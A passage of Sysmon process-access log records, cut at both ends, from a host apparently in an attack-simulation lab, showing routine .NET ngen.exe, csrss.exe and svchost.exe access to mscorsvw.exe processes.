C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-00109DD70B00}\r\nTargetProcessId: 4436\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:49.400","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-00109DD70B00}","TargetProcessId":"4436","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7085,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.400\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-00109DD70B00}\r\nTargetProcessId: 4436\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:49.400","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-00109DD70B00}","TargetProcessId":"4436","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7086,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.400\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-00109DD70B00}\r\nTargetProcessId: 4436\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:49.400","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-00109DD70B00}","TargetProcessId":"4436","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7087,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.448\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4268-5F2D-0000-0010A14A0A00}\r\nTargetProcessId: 1628\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:49.448","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4268-5F2D-0000-0010A14A0A00}","TargetProcessId":"1628","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7088,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.448\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4268-5F2D-0000-0010A14A0A00}\r\nTargetProcessId: 1628\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:49.448","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4268-5F2D-0000-0010A14A0A00}","TargetProcessId":"1628","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7089,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.467\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-001017DB0B00}\r\nTargetProcessId: 1628\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:49.467","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-001017DB0B00}","TargetProcessId":"1628","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7090,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.542\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-001015DF0B00}\r\nTargetProcessId: 4368\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:49.542","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-001015DF0B00}","TargetProcessId":"4368","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7091,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.542\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-001015DF0B00}\r\nTargetProcessId: 4368\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:49.542","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-001015DF0B00}","TargetProcessId":"4368","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 